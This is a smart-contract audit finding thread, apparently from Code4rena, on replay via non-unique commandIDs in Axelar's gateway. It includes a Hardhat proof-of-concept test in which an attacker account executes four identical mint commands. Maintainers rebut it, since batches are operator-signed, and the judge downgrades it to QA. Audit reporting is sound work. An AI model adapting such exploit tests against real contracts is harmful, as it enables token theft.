code423n4 commented 2 years ago

Lines of code

https://github.com/code-423n4/2022-07-axelar/blob/9c4c44b94cddbd48b9baae30051a4e13cbe39539/contracts/AxelarGateway.sol#L262 https://github.com/code-423n4/2022-07-axelar/blob/9c4c44b94cddbd48b9baae30051a4e13cbe39539/contracts/AxelarGateway.sol#L295

Vulnerability details

Impact

commandID is used to prevent replicated trades, but commandID is not equal to command and command's parameters. It is not possible to prevent repeat trades by commandID.

So different commandIDs can be the same commands, the execute() function has great risk of allowing any user to execute the same trade without any restrictions.

Proof of Concept

let cracker = wallets[10]; 

describe('batch commands', () => {
    it('cracker exploit', async () => {
        const name = 'ABCcoin';
        const symbol = 'ABC';
        const decimals = 8;
        const cap = 2100000000;
        const amount1 = 10000;

        const data = buildCommandBatch(
            CHAIN_ID,
            [getRandomID(), getRandomID(), getRandomID(), getRandomID(), getRandomID()],
            ['deployToken', 'mintToken', 'mintToken', 'mintToken', 'mintToken'],
            [
                getDeployCommand(name, symbol, decimals, cap, ADDRESS_ZERO, 0),
                getMintCommand(symbol, cracker.address, amount1),
                getMintCommand(symbol, cracker.address, amount1),
                getMintCommand(symbol, cracker.address, amount1),
                getMintCommand(symbol, cracker.address, amount1),
            ],
        );

        const input = await getSignedWeightedExecuteInput(
            data,
            operators,
            getWeights(operators),
            threshold,
            operators.slice(0, threshold),
        );

        const tx = await gateway.connect(cracker).execute(input);

        const tokenAddress = await gateway.tokenAddresses(symbol);

        const token = burnableMintableCappedERC20Factory.attach(tokenAddress);

        const values = await Promise.all([
            token.name(),
            token.symbol(),
            token.decimals(),
            token.cap().then(bigNumberToNumber),
            token.balanceOf(cracker.address).then(bigNumberToNumber),
        ]);

        console.log("Cracker Addres is: ", cracker.address);
        console.log("Cracker Address balanceOf is: ", await token.balanceOf(cracker.address));

    });
});

I have written a replicated trade test by hardhat. The cracker calls four same commandsgetMintCommand(symbol, cracker.address, amount1) in the executes(), although the four commands have different commandIds. In fact, here is just an example, the cracker can execute any amount of the same commands as he wants.

It is very dangerous for execute() which allows anyone to execute the same trade any times without restrictions.

Tools Used

Hardhat

Recommended Mitigation Steps

Do not just check commandId, it is needed to check commands and params to prevent replicated trades.

re1ro commented 2 years ago

CommandID and execution batch contents are determined via Tendermint consensus on Axelar network. Then batch is signed with their private keys and signatures are validated in the gateway. Users can't just submit commands to the execute() method

GalloDaSballo commented 2 years ago

The warden has shown how the code is not producing sufficient validation, because the code is for a Cosmos SDK contract, then callers will need to be trusted, for that reason no "arbitrary code execution" is possible

I will downgrade the report to QA and mark it as a valid "Lack of Checks" as the statement that CommandID doesn't necessarily represent the contents of the command is correct

However because of the permissioned nature of the system, no higher severity vulnerability was demonstrated via this report

code-423n4 / 2022-07-axelar-findings